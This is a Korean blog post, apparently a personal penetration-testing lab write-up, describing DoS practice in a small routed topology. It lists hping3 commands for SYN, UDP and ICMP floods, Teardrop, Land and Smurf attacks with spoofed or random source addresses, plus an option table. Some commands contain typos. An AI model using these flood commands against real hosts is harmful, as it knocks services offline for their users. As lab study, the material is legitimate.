공부했었던 이론을 바탕으로 DoS 공격 실습을 하게되었다.
간단한 포x 토폴로지를 만들어 보았다.
Routing은 OSPF 1 AREA 0으로 통일하였다.
Router에 하나하나 IP를 넣어준다
show arp 명령어로 VMware의 PC들이 붙었는지를 확인한다.
라우팅을 모두 마친 후 라우팅 테이블에 정보가 제대로 들어왔는지 확인해보자
Ping 통신을 통하여 반대편 PC가 연결이 되어있는지를 확인한다.
SYN Flood 기법을 사용해 공격해본다. SYN Packet을 무수히 많이 보내 서버가 SYN_RECEIVED 상태로 ACK 패킷을 계속 기다리느라 모든 자원을 사용한다.
ex) hping3 192.168.11.162 -p 80 -s --flood
DoS 공격을 한 직후 WireShark를 통해 패킷을 한번 보자
UDP Flood 기법으로 공격을 한번 해보자 무수히 많은 UDP 데이터 패킷을 보내 상대방의 대역폭을 모두 잠식시킨다.
ex) hping3 192.168.11.162 -2 --flood --rand--source -d 30000 -p 80 (65000까지가능)
-2는 UDP -1은 TCP 이다. 30000은 data size를 의미
이후 WireShark를 켜 공격이 제대로 작동하는지를 확인한다. UDP flood 공격이기 때문에 UDP가 있는것을 확인 할 수 있다.
다음으로는 ICMP flooding 공격을 해보자 = Ping of Death
ex) hping3 --icmp 192.168.11.162 -1 --flood --rand-source -d 1000 -p 80
무수히 많은 핑을 보내는것을 확인할 수 있다.
Teardrop Attack(조작된 단편화) 공격을 해보자. 패킷을 조각화할 때 Fragment Offset 값을 조작하여 Target이 재조립을 하지 못 하게 만들어 Error 발생시킴
ex) hping3 -a 192.168.11.162 1.1.1.1 --id 3200 -M seqnum -p 21 -d 320 --flood -d [data size]
*Tiny Fragment(작은 단편화)
*Fragment overlap(단편중첩)
Teardrop Attack(조작된 단편화) 를 확인해보자 본인이 설정한 IP로 보내는걸 확인할 수 있다.
Land Attack을 이용해보자 패킷을 전달할 때 출발지 IP Address를 Target의 IP로 조작한 패킷을 전송해 부하를 일으킨다.
ex) hping3 192.168.11.162 -a 192.168.11.162 --icmp --flood
패킷을 분석했을때 ICMP 와 본인이 지정한 target이 나오는걸 볼 수있다.
마지막으로 Smurf Attack를 해보자. 패킷을 전달할 때 출발지 IP를 Target의 IP로 조작한 패킷을 Broadcast로 전송한다.
ex) hping3 162.171.10.8 -a 192.168.11.162 --icmp --flood
패킷을 분석해보았을 때 결과값이다.
<명령어 option>
-a, --spoof | 출발지 IP 주소 변경 |
-c, --count | Packet 개수 지정 |
-i, --interval | Packet의 간격 지정 |
--rand-source | 출발지 IP 주소 변경 (Random) |
-P, --dest port | 목적지 port 지정 |
-d, --data | 전송 data size를 지정 |
<TCP Flag option>
-A ,--ack | ack packet 전송 |
-F, --fin | fin packet 전송 |
-R, --rst | rst packet 전송 |
-S, --syn | syn packet 전송 |
이렇게 DoS 공격을 실습해보았다. 생각보다 WireShark에 패킷도 왕창뜨고 하나하나 해볼때마다 색다른 느낌의 패킷을 볼 수 있어서 재밌었던것 같다.
'모의해킹 > 실습' 카테고리의 다른 글
[모의해킹] ARP Spoofing 실습 (0) | 2024.06.10 |
---|